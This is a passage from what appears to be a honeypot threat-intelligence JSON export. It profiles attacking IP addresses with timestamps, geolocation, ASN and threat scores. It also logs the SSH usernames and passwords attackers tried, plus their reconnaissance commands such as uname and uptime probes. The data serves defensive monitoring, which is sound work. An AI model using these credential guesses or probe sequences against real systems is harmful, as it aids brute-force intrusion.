      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T22:19:32.348000+00:00",
        "last_seen_30d": "2026-03-05T22:24:43.351000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 20
      }
    },
    "139.59.95.173": {
      "attack_count": 38,
      "first_seen": "2026-03-02T12:09:25.447Z",
      "last_seen": "2026-03-02T12:16:36.500Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T12:09:11.602000+00:00",
        "last_seen_30d": "2026-03-02T12:17:44.137000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 13
      }
    },
    "38.188.160.108": {
      "attack_count": 23,
      "first_seen": "2026-03-10T23:10:34.721Z",
      "last_seen": "2026-03-11T00:17:03.189Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "141086",
        "261280",
        "300492",
        "bernardo1"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:10:34.721000+00:00",
        "last_seen_30d": "2026-03-11T00:18:07.457000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 11
      }
    },
    "103.68.31.178": {
      "attack_count": 20,
      "first_seen": "2026-03-17T05:34:18.396Z",
      "last_seen": "2026-03-17T05:42:00.103Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 135799,
      "as_org": "Rapidnet Private Limited",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T05:34:18.396000+00:00",
        "last_seen_30d": "2026-03-17T05:43:02.356000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 13
      }
    },
    "47.160.209.109": {
      "attack_count": 16,
      "first_seen": "2026-03-05T20:13:21.513Z",
      "last_seen": "2026-03-05T20:27:54.090Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "College Station",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T20:00:51.841000+00:00",
        "last_seen_30d": "2026-03-05T20:34:42.393000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Cowrie": 16,
        "Honeytrap": 1
      }
    },
    "20.123.146.95": {
      "attack_count": 15,
      "first_seen": "2026-03-22T12:10:41.428Z",
      "last_seen": "2026-03-31T07:34:46.413Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "simeon"
      ],
      "passwords_attempted": [
        "Qq111111",
        "edong123",
        "simeonpass"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T12:10:41.428000+00:00",
        "last_seen_30d": "2026-03-31T07:35:50.864000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8
      }
    },
    "38.188.160.66": {
      "attack_count": 15,
      "first_seen": "2026-03-10T23:28:05.366Z",
      "last_seen": "2026-03-11T00:31:45.098Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "250881",
        "janet",
        "walalang"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:28:05.366000+00:00",
        "last_seen_30d": "2026-03-11T00:32:52.280000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "195.123.210.209": {
      "attack_count": 12,
      "first_seen": "2026-03-04T18:52:57.771Z",
      "last_seen": "2026-03-31T06:55:08.165Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Latvia",
      "country_code": "LV",
      "city": "Riga",
      "asn": 50979,
      "as_org": "Green Floid LLC",
      "threat_score": 56.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.2,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:16:24.446000+00:00",
        "last_seen_30d": "2026-03-31T06:56:17.649000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 40,
        "Cowrie": 12
      }
    },
    "219.78.63.235": {
      "attack_count": 12,
      "first_seen": "2026-03-07T22:29:40.403Z",
      "last_seen": "2026-03-08T11:31:42.415Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "a",
        "nil"
      ],
      "passwords_attempted": [
        "",
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Ho Man Tin",
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-07T22:29:40.403000+00:00",
        "last_seen_30d": "2026-03-09T05:48:35.362000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 10,
        "Honeytrap": 2
      }
    },
    "152.32.206.87": {
      "attack_count": 10,
      "first_seen": "2026-03-14T14:31:33.966Z",
      "last_seen": "2026-03-14T14:31:37.566Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Reston",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 77.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 30,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T06:56:10+00:00",
        "last_seen_30d": "2026-03-31T16:13:24.992000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36,
        "Honeytrap": 14,
        "Cowrie": 10
      }
    },
    "38.188.160.152": {
      "attack_count": 10,
      "first_seen": "2026-03-10T23:22:49.994Z",
      "last_seen": "2026-03-11T00:33:30.768Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "14061985",
        "200786"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:22:49.994000+00:00",
        "last_seen_30d": "2026-03-11T00:34:40.769000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "192.42.116.12": {
      "attack_count": 8,
      "first_seen": "2026-03-31T21:25:04.370Z",
      "last_seen": "2026-03-31T21:25:25.915Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 24.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T21:25:04.370000+00:00",
        "last_seen_30d": "2026-03-31T21:26:29.243000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "34.77.180.232": {
      "attack_count": 8,
      "first_seen": "2026-03-09T07:57:00.549Z",
      "last_seen": "2026-03-09T07:57:15.793Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T07:57:00.549000+00:00",
        "last_seen_30d": "2026-03-09T07:58:21.553000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "45.84.107.101": {
      "attack_count": 8,
      "first_seen": "2026-03-28T20:11:13.384Z",
      "last_seen": "2026-03-28T20:11:33.939Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 75.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.6,
        "persistence": 22.5,
        "diversity": 16,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 27,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T16:29:01+00:00",
        "last_seen_30d": "2026-03-28T20:12:36.058000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 22,
        "H0neytr4p": 13,
        "Cowrie": 6,
        "Ciscoasa": 5
      }
    },
    "113.19.53.72": {
      "attack_count": 6,
      "first_seen": "2026-03-17T18:11:50.489Z",
      "last_seen": "2026-03-31T23:21:47.245Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Pasig",
      "asn": 17639,
      "as_org": "Converge ICT Solutions Inc.",
      "threat_score": 35.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T18:11:50.489000+00:00",
        "last_seen_30d": "2026-03-31T23:22:48.181000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "205.210.31.104": {
      "attack_count": 6,
      "first_seen": "2026-03-04T22:50:48.379Z",
      "last_seen": "2026-03-07T23:29:07.442Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 122,
        "days_active_30d": 28,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-04T11:00:32+00:00",
        "last_seen_30d": "2026-03-31T23:01:48.782000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 84,
        "Honeytrap": 26,
        "Cowrie": 6,
        "Dionaea": 4,
        "ConPot": 1,
        "Sentrypeer": 1
      }
    },
    "45.79.181.179": {
      "attack_count": 6,
      "first_seen": "2026-03-23T10:03:49.605Z",
      "last_seen": "2026-03-23T10:03:49.998Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 79.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 30,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T10:58:48+00:00",
        "last_seen_30d": "2026-03-31T16:46:09.019000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 30,
        "Cowrie": 6
      }
    },
    "66.132.186.204": {
      "attack_count": 6,
      "first_seen": "2026-03-31T21:36:14.550Z",
      "last_seen": "2026-03-31T21:36:53.950Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 49.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 6.7,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 8,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-24T06:12:14+00:00",
        "last_seen_30d": "2026-03-31T21:37:59.968000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 6,
        "Honeytrap": 3
      }
    },
    "115.190.242.220": {
      "attack_count": 5,
      "first_seen": "2026-03-04T04:45:15.063Z",
      "last_seen": "2026-03-04T04:47:15.073Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T04:45:15.063000+00:00",
        "last_seen_30d": "2026-03-06T20:49:00.595000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5
      }
    },
    "158.174.210.97": {
      "attack_count": 5,
      "first_seen": "2026-03-04T12:33:31.842Z",
      "last_seen": "2026-03-04T12:33:38.353Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "ItsemoemoWashere2024support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Solna",
      "asn": 8473,
      "as_org": "Bahnhof AB",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T12:33:31.842000+00:00",
        "last_seen_30d": "2026-03-08T20:52:23.301000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5,
        "Ciscoasa": 2
      }
    },
    "185.129.61.8": {
      "attack_count": 5,
      "first_seen": "2026-03-04T15:55:56.179Z",
      "last_seen": "2026-03-04T15:56:11.918Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "emo"
      ],
      "passwords_attempted": [
        "ItsemoemoWashere2023support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Denmark",
      "country_code": "DK",
      "city": null,
      "asn": 210731,
      "as_org": "Forening for DotSrc",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T15:55:56.179000+00:00",
        "last_seen_30d": "2026-03-04T15:57:15.914000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "192.253.248.95": {
      "attack_count": 5,
      "first_seen": "2026-03-05T21:45:45.878Z",
      "last_seen": "2026-03-05T21:45:48.306Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "Kelltech!123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T10:47:16.991000+00:00",
        "last_seen_30d": "2026-03-05T21:46:55.940000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5,
        "Heralding": 1
      }
    },
    "213.177.179.40": {
      "attack_count": 5,
      "first_seen": "2026-03-05T22:41:14.315Z",
      "last_seen": "2026-03-05T22:41:17.068Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Kelltech#1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T08:42:33.865000+00:00",
        "last_seen_30d": "2026-03-05T22:42:24.320000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "5.181.87.35": {
      "attack_count": 5,
      "first_seen": "2026-03-02T14:40:34.280Z",
      "last_seen": "2026-03-02T14:40:37.822Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "L@y3rh0st2024"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Bursa",
      "asn": 47585,
      "as_org": "Yigit Hosting Bilisim E-Ticaret Gida Sanayi Ticaret Limited Sirketi",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T14:40:34.280000+00:00",
        "last_seen_30d": "2026-03-02T15:00:18.269000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 5
      }
    },
    "120.27.197.142": {
      "attack_count": 4,
      "first_seen": "2026-03-22T19:20:01.665Z",
      "last_seen": "2026-03-22T19:20:35.637Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T19:18:46.815000+00:00",
        "last_seen_30d": "2026-03-22T19:22:27.779000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "162.142.125.218": {
      "attack_count": 4,
      "first_seen": "2026-03-14T16:32:54.225Z",
      "last_seen": "2026-03-14T16:33:09.496Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 61.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.5,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 22,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T11:48:32+00:00",
        "last_seen_30d": "2026-03-23T00:23:43.495000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 27,
        "Cowrie": 4,
        "Dionaea": 3,
        "Honeyaml": 3,
        "Tanner": 3,
        "Dicompot": 1
      }
    },
    "170.64.204.49": {
      "attack_count": 4,
